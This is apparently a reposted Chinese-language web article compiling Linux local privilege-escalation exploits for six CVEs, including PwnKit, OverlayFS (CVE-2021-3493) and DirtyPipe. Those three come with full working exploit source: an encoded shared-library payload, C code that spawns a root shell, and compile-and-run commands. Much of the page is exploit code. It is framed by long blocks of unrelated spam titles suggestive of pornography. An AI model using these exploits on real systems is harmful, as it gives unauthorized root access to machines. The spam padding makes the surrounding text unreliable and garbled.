精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

Linux提權(quán)0day匯總

安全 Linux
由于 openvswitch 模塊在處理大量actions的情況下,可能存在越界寫(xiě)入漏洞,本地經(jīng)過(guò)身份認(rèn)證的攻擊者可利用此漏洞獲取root權(quán)限。

1.Linux openvswitch權(quán)限提升漏洞 CVE-2022-2639

#漏洞描述

由于 openvswitch 模塊在處理大量actions的情況下,可能存在越界寫(xiě)入漏洞,本地經(jīng)過(guò)身份認(rèn)證的攻擊者可利用此漏洞獲取root權(quán)限。

#漏洞影響

3.13 ≤ Linux Kernel < 5.18

#漏洞復(fù)現(xiàn)

編譯POC并運(yùn)行獲取Root權(quán)限

圖片

https://github.com/avboy1337/CVE-2022-2639-PipeVersion

2.Linux Polkit權(quán)限提升漏洞 CVE-2021-4034

#漏洞描述

Qualys 研究團(tuán)隊(duì)在 polkit 的 pkexec 中發(fā)現(xiàn)了一個(gè)內(nèi)存損壞漏洞,該 SUID 根程序默認(rèn)安裝在每個(gè)主要的 Linux 發(fā)行版上。這個(gè)易于利用的漏洞允許任何非特權(quán)用戶(hù)通過(guò)在其默認(rèn)配置中利用此漏洞來(lái)獲得易受攻擊主機(jī)上的完全 root 權(quán)限。

#漏洞影響

Polkit > 2009

#漏洞復(fù)現(xiàn)

POC來(lái)源: https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034

圖片

#漏洞POC

https://github.com/nikaiw/CVE-2021-4034/blob/master/cve2021-4034.py

#!/usr/bin/env python3

# poc for https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt found by qualys
# hardcoded amd64 lib
from ctypes import *
from ctypes.util import find_library
import os
import zlib
import base64
import tempfile

payload = zlib.decompress(
    base64.b64decode(
        """eJztW21sFEUYnr32ymG/TgPhpAQuBhJA2V6BKh8p1FZgUTAFW0OiuL32tteL9+XuXmmRQA1igkhSFRI1JmJioPEXJPrDH2pJm8bEP5KYqD9MqoSkjUQqKgLRrjO777vdHXqUGDUhmafsPfu+8z4zs7szc2zunUNbdmwNSBJBlJBNxLbudexG8A/WuSHUt46U089FpMaOLSXF8VaZn0nYIaYLemyelwX87NXZ7UXBz3FI8rNXx7oQlsG9yc95aKeXay8Auijoopv8PCT5OQTyUjgGoT6e+e7zui8gjuelxM9475+6ZCb+SXstoFsKBTyvJX7G9nZRHT7SOwE+3t3QXrHnMCn5GR9jKdTBxsy2J9vYcxlivhJP+TywWfnBXXWr3s18dG7sdNlP5cMjT5/49PmLLI7djnIyPR5YtaXkAdtXQY/OikPV9Wd299/uOqIz+F+mx30z+KUi8YUi8ceK+B8qUk9Xkfit9HhgBv+BIvGZIv42219FPoH1oBz8z4B/BPytKFDVZCaXVQ0zrpuqStTtrTvVhKZryZRhanrrzuZ0Lqu1xjvSmlM2c4na2RtXu1LZeDq1XyPJzly2x/lUU9mUSQzNLKQSjDTgJJiMtV6ts0ejRCPTqY5O2cjJD5NtO7Y3Naur5dVyvd3RgH3gJ/uT4G+ATI/XwsLUXBbxDtg4TnH+nIXrj3D+PPhbGv1+tNs5fygKOs5fDv6xzQ6zMTu9WhMy7vGXePyTHr93nl73+EMefwTanUOcO4OIevzedX65xx/0+GMe/xyPf53HP9fjb/T47yECAgICAgICAgL/NX6tXnxTOXw5pBwLfldLiHJkyAxYXymHR0LDdrlV/yN1X7WWXaRUvcSO72YFVyd+sCxrwLYl277g2gHbPu/aJbZ9zrVLbft91w7a9uto09b22q095vSP2hnO1jibj2/j7J2cvQVt5XhDH7vu40Gd0frr5nx6K0Zl51bMtcaql/Szyx0GpvHb7fj6JkYrppSjk8r5nzcr56+XKNKocmHKnEcrOAkVhKyxLrsd1LP2+xuCVEsKD7Yphxt09iKsHL1kVijHGj6jxviNKcsaT9CbMRr8ntrSXqr16Sf20UJ20kZ1A3uH8fRzFjB+k8qds7CFZ6Ou7zI9U47PL8j2NTxnU8MflbTkDTdmcMqp3h4X7kgQEBAQEBAQEBAQEBAQuJtR25HK1hrdhP5rebRVaWD2htqCoTsnBv0kUk3Jxhhxfuf584pl7aCcnrQsk/IByq9RPvmLZX1A+RTlEeL8Fssg7d9NpN6wVFMxJzQgOb9bL6LHIK0nzwKqwlurIo9Xl+8L9ZPNCzesXLPU/tmS6elrM5mkcWFPf5n/WXqMU3+7x8/qZP2ZoP2xf6PcUhV+JdBcWdZEG6ZmhB4n6PE1LW/1lv/bN1RAQEBAQEBAQEBAQOAuAeYzYv4i5hoOAFdgILyUVYIZgeTR+7EY8iFrwMZcw4UYD+WLuPLfp6wc40lIQsTcwhZIPsT3tQgkO2LO4GlgzE+NALs5kY0OYW4jXg++p2Ku4gLsT5nfHwv6+/ktMOYyYntTltP/MMRbYON9nAT7GlzPDbC9OZT/JzCPnUcMnm8jcAtwO3AeuD/s12F+KwLzWhHlnL2tuXlDdHlbRyFrFqLr5TVybFXdIwXbrDu4OibH1q5w3ITIRrdh6ma8g8jZnKnJyWxBzuu5vKabfR5XRyGVTqxKJYhtdceNbiIn+rJGX8ZhU3dKejTdSOWyPkOlZbqWjrNAOMunTSLbScfsVE7m4MTQOolsar3U7KLFNDqXiJtxImvdapcez2hqd0Kftpw61Liux/scBZ7TpuKZFK2MVu205tTTYRhE7sxlMlrWvMOHeRuweeHN7S22P8B9bpy9mNMX25eA4PeEsO0j1+hYRz3Ob+TlnI5vfyNcA+px/iOvgwnG5pHk0eO8bCbOWoB6XE+Qcf1ASJz9BHHmMupx/iLjuob9D3C8hzhrg7u9JOjnKJm5/4gk1I16XI+QcT3i7x9e/wtQ1oTlZX7G9ZDFLJhB/yLx7Zm4Zb8OrvMI/vn3cPpo2M95Lp7fFvQSpx8I+5lbhm7Rv8rpT4X93D6L/k1Oj/ujkCPcgOH78zanx+9L5Eounr9/74Hezc2P+pmff/z4PcPpi+3zKdb+x5x+T9TPZ7l4fvyyzKIqMv197O77kWeOD3H8JT2qPXr8/0PkDvXfEP8eCXcfF+iHPOuHV4fP8Qhxrh/1uB9jrBbqmaX9MU7vbqyLOaTMop/g9Pg92xLzVeOCH39XoC7U94O+P+ZvB8GPn9/Ax7eD+pVF9F4uIbfiQ9D/NUv7fwNC41U+"""
    )
)
libc = CDLL(find_library("c"))
libc.execve.argtypes = c_char_p, POINTER(c_char_p), POINTER(c_char_p)
libc.execve.restype = c_ssize_t

wd = tempfile.mkdtemp()
open(wd + "/pwn.so", "wb").write(payload)
os.mkdir(wd + "/gconv/")
open(wd + "/gconv/gconv-modules", "w").write(
    "module  UTF-8//    INTERNAL    ../pwn    2"
)
os.mkdir(wd + "/GCONV_PATH=.")
os.mknod(wd + "/GCONV_PATH=./gconv")
os.chmod(wd + "/GCONV_PATH=.", 0o777)
os.chmod(wd + "/GCONV_PATH=./gconv", 0o777)
os.chmod(wd + "/pwn.so", 0o777)
os.chdir(wd)
cmd = b"/usr/bin/pkexec"
argv = []
envp = [
    b"gconv",
    b"PATH=GCONV_PATH=.",
    b"LC_MESSAGES=en_US.UTF-8",
    b"XAUTHORITY=../gconv",
    b"",
]

cargv = (c_char_p * (len(argv) + 1))(*argv, None)
cenv = (c_char_p * (len(envp) + 1))(*envp, None)
libc.execve(cmd, cargv, cenv)

3.Linux sudo權(quán)限提升漏洞 CVE-2021-3156

#漏洞描述

2021年1月26日,Linux安全工具sudo被發(fā)現(xiàn)嚴(yán)重的基于堆緩沖區(qū)溢出漏洞。利用這一漏洞,攻擊者無(wú)需知道用戶(hù)密碼,一樣可以獲得root權(quán)限,并且是在默認(rèn)配置下。此漏洞已分配為CVE-2021-3156,危險(xiǎn)等級(jí)評(píng)分為7分。 當(dāng)sudo通過(guò)-s或-i命令行選項(xiàng)在shell模式下運(yùn)行命令時(shí),它將在命令參數(shù)中使用反斜杠轉(zhuǎn)義特殊字符。但使用-s或-i標(biāo)志運(yùn)行sudoedit時(shí),實(shí)際上并未進(jìn)行轉(zhuǎn)義,從而可能導(dǎo)致緩沖區(qū)溢出。因此只要存在sudoers文件(通常是/etc/sudoers),攻擊者就可以使用本地普通用戶(hù)利用sudo獲得系統(tǒng)root權(quán)限。研究人員利用該漏洞在多個(gè)Linux發(fā)行版上成功獲得了完整的root權(quán)限,包括Ubuntu 20.04(sudo 1.8.31)、Debian 10(sudo 1.8.27)和Fedora 33(sudo 1.9.2),并且sudo支持的其他操作系統(tǒng)和Linux發(fā)行版也很容易受到攻擊。

#漏洞影響

Sudo 1.8.2 - 1.8.31p2Sudo 1.9.0 - 1.9.5p1

#漏洞復(fù)現(xiàn)

圖片

目前POC已經(jīng)在Github公開(kāi)

POC來(lái)源: https://github.com/blasty/CVE-2021-3156

另一個(gè)無(wú)交互式shell使用的腳本:https://github.com/Rvn0xsy/CVE-2021-3156-plus

4.Linux kernel權(quán)限提升漏洞 CVE-2021-3493

#漏洞描述

Ubuntu OverlayFS Local Privesc CVE-2021-3493 EXP在Github被公開(kāi),可以通過(guò)EXP在Ubuntu多個(gè)影響系統(tǒng)中提升 ROOT權(quán)限

#漏洞影響

Ubuntu 20.10Ubuntu 20.04 LTSUbuntu 18.04 LTSUbuntu 16.04 LTSUbuntu 14.04 ESM

#漏洞復(fù)現(xiàn)

漏洞Github地址為:https://github.com/briskets/CVE-2021-3493

環(huán)境使用騰訊云的Ubuntu鏡像即可

gcc exploit.c -o exploit
chmod +x exploit
./exploit

1

2

3

下載并編譯腳本

圖片

運(yùn)行EXP成功提權(quán) Root

漏洞POC

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <err.h>
#include <errno.h>
#include <sched.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/mount.h>

//#include <attr/xattr.h>
//#include <sys/xattr.h>
int setxattr(const char *path, const char *name, const void *value, size_t size, int flags);


#define DIR_BASE    "./ovlcap"
#define DIR_WORK    DIR_BASE "/work"
#define DIR_LOWER   DIR_BASE "/lower"
#define DIR_UPPER   DIR_BASE "/upper"
#define DIR_MERGE   DIR_BASE "/merge"
#define BIN_MERGE   DIR_MERGE "/magic"
#define BIN_UPPER   DIR_UPPER "/magic"


static void xmkdir(const char *path, mode_t mode)
{
    if (mkdir(path, mode) == -1 && errno != EEXIST)
        err(1, "mkdir %s", path);
}

static void xwritefile(const char *path, const char *data)
{
    int fd = open(path, O_WRONLY);
    if (fd == -1)
        err(1, "open %s", path);
    ssize_t len = (ssize_t) strlen(data);
    if (write(fd, data, len) != len)
        err(1, "write %s", path);
    close(fd);
}

static void xcopyfile(const char *src, const char *dst, mode_t mode)
{
    int fi, fo;

    if ((fi = open(src, O_RDONLY)) == -1)
        err(1, "open %s", src);
    if ((fo = open(dst, O_WRONLY | O_CREAT, mode)) == -1)
        err(1, "open %s", dst);

    char buf[4096];
    ssize_t rd, wr;

    for (;;) {
        rd = read(fi, buf, sizeof(buf));
        if (rd == 0) {
            break;
        } else if (rd == -1) {
            if (errno == EINTR)
                continue;
            err(1, "read %s", src);
        }

        char *p = buf;
        while (rd > 0) {
            wr = write(fo, p, rd);
            if (wr == -1) {
                if (errno == EINTR)
                    continue;
                err(1, "write %s", dst);
            }
            p += wr;
            rd -= wr;
        }
    }

    close(fi);
    close(fo);
}

static int exploit()
{
    char buf[4096];

    sprintf(buf, "rm -rf '%s/'", DIR_BASE);
    system(buf);

    xmkdir(DIR_BASE, 0777);
    xmkdir(DIR_WORK,  0777);
    xmkdir(DIR_LOWER, 0777);
    xmkdir(DIR_UPPER, 0777);
    xmkdir(DIR_MERGE, 0777);

    uid_t uid = getuid();
    gid_t gid = getgid();

    if (unshare(CLONE_NEWNS | CLONE_NEWUSER) == -1)
        err(1, "unshare");

    xwritefile("/proc/self/setgroups", "deny");

    sprintf(buf, "0 %d 1", uid);
    xwritefile("/proc/self/uid_map", buf);

    sprintf(buf, "0 %d 1", gid);
    xwritefile("/proc/self/gid_map", buf);

    sprintf(buf, "lowerdir=%s,upperdir=%s,workdir=%s", DIR_LOWER, DIR_UPPER, DIR_WORK);
    if (mount("overlay", DIR_MERGE, "overlay", 0, buf) == -1)
        err(1, "mount %s", DIR_MERGE);

    // all+ep
    char cap[] = "\x01\x00\x00\x02\xff\xff\xff\xff\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00";

    xcopyfile("/proc/self/exe", BIN_MERGE, 0777);
    if (setxattr(BIN_MERGE, "security.capability", cap, sizeof(cap) - 1, 0) == -1)
        err(1, "setxattr %s", BIN_MERGE);

    return 0;
}

int main(int argc, char *argv[])
{
    if (strstr(argv[0], "magic") || (argc > 1 && !strcmp(argv[1], "shell"))) {
        setuid(0);
        setgid(0);
        execl("/bin/bash", "/bin/bash", "--norc", "--noprofile", "-i", NULL);
        err(1, "execl /bin/bash");
    }

    pid_t child = fork();
    if (child == -1)
        err(1, "fork");

    if (child == 0) {
        _exit(exploit());
    } else {
        waitpid(child, NULL, 0);
    }

    execl(BIN_UPPER, BIN_UPPER, "shell", NULL);
    err(1, "execl %s", BIN_UPPER);
}

5.Linux DirtyPipe權(quán)限提升漏洞 CVE-2022-0847

#漏洞描述

CVE-2022-0847-DirtyPipe-Exploit CVE-2022-0847 是存在于 Linux內(nèi)核 5.8 及之后版本中的本地提權(quán)漏洞。攻擊者通過(guò)利用此漏洞,可覆蓋重寫(xiě)任意可讀文件中的數(shù)據(jù),從而可將普通權(quán)限的用戶(hù)提升到特權(quán) root。 CVE-2022-0847 的漏洞原理類(lèi)似于 CVE-2016-5195 臟牛漏洞(Dirty Cow),但它更容易被利用。漏洞作者將此漏洞命名為“Dirty Pipe”

#漏洞影響

Linux內(nèi)核 5.8 及之后版本

#漏洞復(fù)現(xiàn)

查找具有suid權(quán)限的可執(zhí)行文件

find / -user root -perm /4000 2>/dev/null

編譯POC文件后,指定修改的Suid可執(zhí)行文件,獲取root權(quán)限

圖片

#漏洞POC

//
// dirtypipez.c
//
// hacked up Dirty Pipe (CVE-2022-0847) PoC that hijacks a SUID binary to spawn
// a root shell. (and attempts to restore the damaged binary as well)
//
// Wow, Dirty CoW reloaded!
//
// -- blasty <peter@haxx.in> // 2022-03-07

/* SPDX-License-Identifier: GPL-2.0 */
/*
 * Copyright 2022 CM4all GmbH / IONOS SE
 *
 * author: Max Kellermann <max.kellermann@ionos.com>
 *
 * Proof-of-concept exploit for the Dirty Pipe
 * vulnerability (CVE-2022-0847) caused by an uninitialized
 * "pipe_buffer.flags" variable.  It demonstrates how to overwrite any
 * file contents in the page cache, even if the file is not permitted
 * to be written, immutable or on a read-only mount.
 *
 * This exploit requires Linux 5.8 or later; the code path was made
 * reachable by commit f6dd975583bd ("pipe: merge
 * anon_pipe_buf*_ops").  The commit did not introduce the bug, it was
 * there before, it just provided an easy way to exploit it.
 *
 * There are two major limitations of this exploit: the offset cannot
 * be on a page boundary (it needs to write one byte before the offset
 * to add a reference to this page to the pipe), and the write cannot
 * cross a page boundary.
 *
 * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
 *
 * Further explanation: https://dirtypipe.cm4all.com/
 */

#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>
#include <stdint.h>

#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif

// small (linux x86_64) ELF file matroshka doll that does;
//   fd = open("/tmp/sh", O_WRONLY | O_CREAT | O_TRUNC);
//   write(fd, elfcode, elfcode_len)
//   chmod("/tmp/sh", 04755)
//   close(fd);
//   exit(0);
//
// the dropped ELF simply does:
//   setuid(0);
//   setgid(0);
//   execve("/bin/sh", ["/bin/sh", NULL], [NULL]);
unsigned char elfcode[] = {
	/*0x7f,*/ 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
	0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x97, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0x01, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x48, 0x8d, 0x3d, 0x56, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0x41, 0x02,
	0x00, 0x00, 0x48, 0xc7, 0xc0, 0x02, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48,
	0x89, 0xc7, 0x48, 0x8d, 0x35, 0x44, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc2,
	0xba, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x0f,
	0x05, 0x48, 0xc7, 0xc0, 0x03, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d,
	0x3d, 0x1c, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0xed, 0x09, 0x00, 0x00,
	0x48, 0xc7, 0xc0, 0x5a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff,
	0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x2f, 0x74, 0x6d,
	0x70, 0x2f, 0x73, 0x68, 0x00, 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e,
	0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38,
	0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,
	0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40,
	0x00, 0x00, 0x00, 0x00, 0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x69,
	0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x6a,
	0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d, 0x3d, 0x1b, 0x00, 0x00, 0x00,
	0x6a, 0x00, 0x48, 0x89, 0xe2, 0x57, 0x48, 0x89, 0xe6, 0x48, 0xc7, 0xc0,
	0x3b, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00,
	0x00, 0x0f, 0x05, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00
};

/**
 * Create a pipe where all "bufs" on the pipe_inode_info ring have the
 * PIPE_BUF_FLAG_CAN_MERGE flag set.
 */
static void prepare_pipe(int p[2])
{
	if (pipe(p)) abort();

	const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
	static char buffer[4096];

	/* fill the pipe completely; each pipe_buffer will now have
	   the PIPE_BUF_FLAG_CAN_MERGE flag */
	for (unsigned r = pipe_size; r > 0;) {
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
		write(p[1], buffer, n);
		r -= n;
	}

	/* drain the pipe, freeing all pipe_buffer instances (but
	   leaving the flags initialized) */
	for (unsigned r = pipe_size; r > 0;) {
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
		read(p[0], buffer, n);
		r -= n;
	}

	/* the pipe is now empty, and if somebody adds a new
	   pipe_buffer without initializing its "flags", the buffer
	   will be mergeable */
}

int hax(char *filename, long offset, uint8_t *data, size_t len) {
	/* open the input file and validate the specified offset */
	const int fd = open(filename, O_RDONLY); // yes, read-only! :-)
	if (fd < 0) {
		perror("open failed");
		return -1;
	}

	struct stat st;
	if (fstat(fd, &st)) {
		perror("stat failed");
		return -1;
	}

	/* create the pipe with all flags initialized with
	   PIPE_BUF_FLAG_CAN_MERGE */
	int p[2];
	prepare_pipe(p);

	/* splice one byte from before the specified offset into the
	   pipe; this will add a reference to the page cache, but
	   since copy_page_to_iter_pipe() does not initialize the
	   "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
	--offset;
	ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
	if (nbytes < 0) {
		perror("splice failed");
		return -1;
	}
	if (nbytes == 0) {
		fprintf(stderr, "short splice\n");
		return -1;
	}

	/* the following write will not create a new pipe_buffer, but
	   will instead write into the page cache, because of the
	   PIPE_BUF_FLAG_CAN_MERGE flag */
	nbytes = write(p[1], data, len);
	if (nbytes < 0) {
		perror("write failed");
		return -1;
	}
	if ((size_t)nbytes < len) {
		fprintf(stderr, "short write\n");
		return -1;
	}

	close(fd);

	return 0;
}

int main(int argc, char **argv) {
	if (argc != 2) {
		fprintf(stderr, "Usage: %s SUID\n", argv[0]);
		return EXIT_FAILURE;
	}

	char *path = argv[1];
	uint8_t *data = elfcode;

	int fd = open(path, O_RDONLY);
	uint8_t *orig_bytes = malloc(sizeof(elfcode));
	lseek(fd, 1, SEEK_SET);
	read(fd, orig_bytes, sizeof(elfcode));
	close(fd);

	printf("[+] hijacking suid binary..\n");
	if (hax(path, 1, elfcode, sizeof(elfcode)) != 0) {
		printf("[~] failed\n");
		return EXIT_FAILURE;
	}

	printf("[+] dropping suid shell..\n");
	system(path);

	printf("[+] restoring suid binary..\n");
	if (hax(path, 1, orig_bytes, sizeof(elfcode)) != 0) {
		printf("[~] failed\n");
		return EXIT_FAILURE;
	}

	printf("[+] popping root shell.. (dont forget to clean up /tmp/sh ;))\n");
	system("/tmp/sh");

	return EXIT_SUCCESS;
}

6.Linux eBPF權(quán)限提升漏洞 CVE-2022-23222

#漏洞描述

Linux Kernel 是美國(guó) Linux 基金會(huì)發(fā)布的開(kāi)源操作系統(tǒng) Linux 所使用的內(nèi)核。Linux 內(nèi)核是一種開(kāi)源的類(lèi)Unix 操作系統(tǒng)宏內(nèi)核。整個(gè) Linux 操作系統(tǒng)家族基于該內(nèi)核部署在傳統(tǒng)計(jì)算機(jī)平臺(tái)(如個(gè)人計(jì)算機(jī)和服務(wù)器)。該漏洞是由于 Linux 內(nèi)核的 BPF 驗(yàn)證器存在一個(gè)空指針漏洞,沒(méi)有對(duì) *_OR_NULL 指針類(lèi)型進(jìn)行限制,允許這些類(lèi)型進(jìn)行指針運(yùn)算。攻擊者可利用該漏洞在獲得低權(quán)限的情況下,構(gòu)造惡意數(shù)據(jù)執(zhí)行空指針引用攻擊,最終獲取服務(wù)器 root 權(quán)限

#漏洞影響

Linux 5.8 - 5.16

#漏洞復(fù)現(xiàn)

運(yùn)行編譯好的EXP

圖片

#漏洞POC

https://github.com/tr3ee/CVE-2022-23222

責(zé)任編輯:龐桂玉 來(lái)源: 小兵搞安全
相關(guān)推薦

2009-02-18 10:18:49

2025-11-13 09:39:01

2016-10-31 23:00:58

MySQLMOF方法提權(quán)數(shù)據(jù)庫(kù)安全

2009-07-06 13:15:07

2015-05-20 16:34:14

2013-05-23 10:48:14

EPATHOBJ 0d0day漏洞

2021-10-06 13:48:50

0day漏洞攻擊

2009-05-14 17:28:12

Linuxptrace 0day漏洞

2009-07-22 16:20:24

2011-10-24 16:26:06

2011-08-26 11:44:01

2022-03-25 13:41:55

漏洞網(wǎng)絡(luò)攻擊Quantum(量子

2013-05-24 14:02:42

2009-05-19 16:45:15

Linux安全漏洞補(bǔ)丁

2020-12-17 10:28:27

漏洞網(wǎng)絡(luò)攻擊網(wǎng)絡(luò)安全

2010-01-20 16:13:15

2021-07-14 17:17:45

0day漏洞惡意代碼

2011-02-28 09:34:55

2009-11-02 09:48:54

2011-03-15 15:14:22

點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)

精品欧美乱码久久久久久1区2区| 亚洲日穴在线视频| 日本不卡视频在线播放| 精品人伦一区二区| 宅男噜噜噜66国产精品免费| 亚洲在线视频免费观看| 久久伊人一区二区| 在线观看视频二区| 伊人久久综合| 最近2019中文字幕第三页视频| 午夜影院免费版| 在线观看爽视频| **欧美大码日韩| 九九久久99| 99精品国产99久久久久久97| 小嫩嫩精品导航| 欧美成人免费全部| 这里只有久久精品| 都市激情亚洲欧美| 欧美色视频一区| 久久久久久人妻一区二区三区| 成人免费在线电影| 成人av在线资源网站| 国产精品美女久久久免费| 精品视频久久久久| 婷婷伊人综合| 亚洲少妇激情视频| 日本少妇毛茸茸| 精品久久亚洲| 欧美日韩一级片在线观看| 国产高清av在线播放| 精品视频在线一区二区| 国产情人综合久久777777| 国产69精品久久久久9999apgf| 做爰无遮挡三级| 亚洲欧美日本日韩| 欧美激情一区二区三区久久久| 成年人看的免费视频| 视频一区欧美| 精品爽片免费看久久| 成人做爰69片免费| 成人乱码手机视频| 欧美猛男男办公室激情| 三级在线视频观看| www成人在线视频| 色婷婷狠狠综合| 777久久久精品一区二区三区| bl视频在线免费观看| 亚洲一区二三区| 成人毛片100部免费看| 精品国产丝袜高跟鞋| 中文字幕在线视频一区| 午夜视频久久久| 成黄免费在线| 国产精品乱人伦中文| 亚洲看片网站| 欧美成人二区| 中文字幕一区二区在线播放| 亚州欧美一区三区三区在线 | 天天看片中文字幕| 国产精品99久久精品| 日韩中文字幕av| 国产美女高潮视频| 亚洲综合色站| 欧美华人在线视频| 日韩特黄一级片| 久久av最新网址| 国产精品电影一区| 国产精品女人久久久| 国内精品久久久久影院一蜜桃| 国产免费成人av| 99热这里只有精品9| 丁香桃色午夜亚洲一区二区三区| 国产精品我不卡| 日韩a在线观看| 欧美经典一区二区三区| 免费看啪啪网站| 日本片在线看| 色8久久人人97超碰香蕉987| www亚洲成人| 狂野欧美xxxx韩国少妇| 亚洲第一免费播放区| 女人被狂躁c到高潮| 精品国产一区二区三区| 美女视频黄免费的亚洲男人天堂| 久草视频在线资源站| 久久av一区| 91在线视频精品| 亚洲av电影一区| 国产精品天美传媒| 加勒比成人在线| 777午夜精品电影免费看| 欧美群妇大交群中文字幕| 91精品国产高清91久久久久久| 精品国产影院| 日韩视频免费在线观看| 国产精品成人久久| 青娱乐精品在线视频| 成人激情直播| 国产精品ⅴa有声小说| 一区二区三区在线免费| 人妻有码中文字幕| 国产一区二区av在线| 亚洲精品日韩丝袜精品| 男女性高潮免费网站| 久久九九电影| 国产高清精品一区二区| 韩国三级在线观看久| 亚洲一级不卡视频| 五月天激情视频在线观看| 国产日韩三级| 久久久av免费| 青青国产在线视频| 成人免费视频视频在线观看免费| 亚洲春色综合另类校园电影| 2021天堂中文幕一二区在线观| 欧美视频第二页| 国产精品无码一区二区三区免费| 亚洲视频电影在线| 国产精品视频一区国模私拍 | www精品久久| 四虎成人精品一区二区免费网站| 亚洲精品成a人在线观看| 精品国产视频在线观看| 奇米色一区二区| 久久精品国产精品国产精品污| 中文字幕在线观看网站| 欧美日韩一区二区在线观看视频| 午夜一区二区三区免费| 欧美三级在线| 亚洲自拍偷拍福利| 在线免费看av| 欧美色综合影院| 自拍偷拍中文字幕| 亚洲一区激情| 国产在线精品一区二区中文 | 亚洲熟妇一区二区| 91精品久久久久久久蜜月| 国产精品第一区| 国内三级在线观看| 日韩欧美在线网址| 欧美精品黑人猛交高潮| 亚洲美女一区| 久久精品女人的天堂av| 理论片午夜视频在线观看| 亚洲变态欧美另类捆绑| 久久高清无码视频| 成人黄色小视频在线观看| 国产va亚洲va在线va| 97久久综合精品久久久综合| 欧美高清一级大片| 成人黄色免费视频| 亚洲综合色噜噜狠狠| 亚洲精品国产成人av在线| 99国产精品99久久久久久粉嫩| 国产一区二区三区无遮挡| a天堂资源在线| 亚洲精品美女久久久| 色婷婷av国产精品| 久久影院视频免费| 成人性做爰aaa片免费看不忠| 国产伦精品一区二区三区视频| 国产精品国产三级国产aⅴ浪潮| 超碰97在线免费观看| 欧美麻豆精品久久久久久| 国产精品视频一区二区三| 国产激情一区二区三区桃花岛亚洲| 在线观看17c| 久久久久影视| 国产精品xxx视频| 精精国产xxxx视频在线| 欧美xxxxxxxx| 欧美黑人一区二区| 中文字幕国产一区| 色黄视频免费看| 国产精品免费看| 四虎一区二区| 亚洲日本一区二区三区在线| 午夜精品久久久久久久99热| 国产中文在线观看| 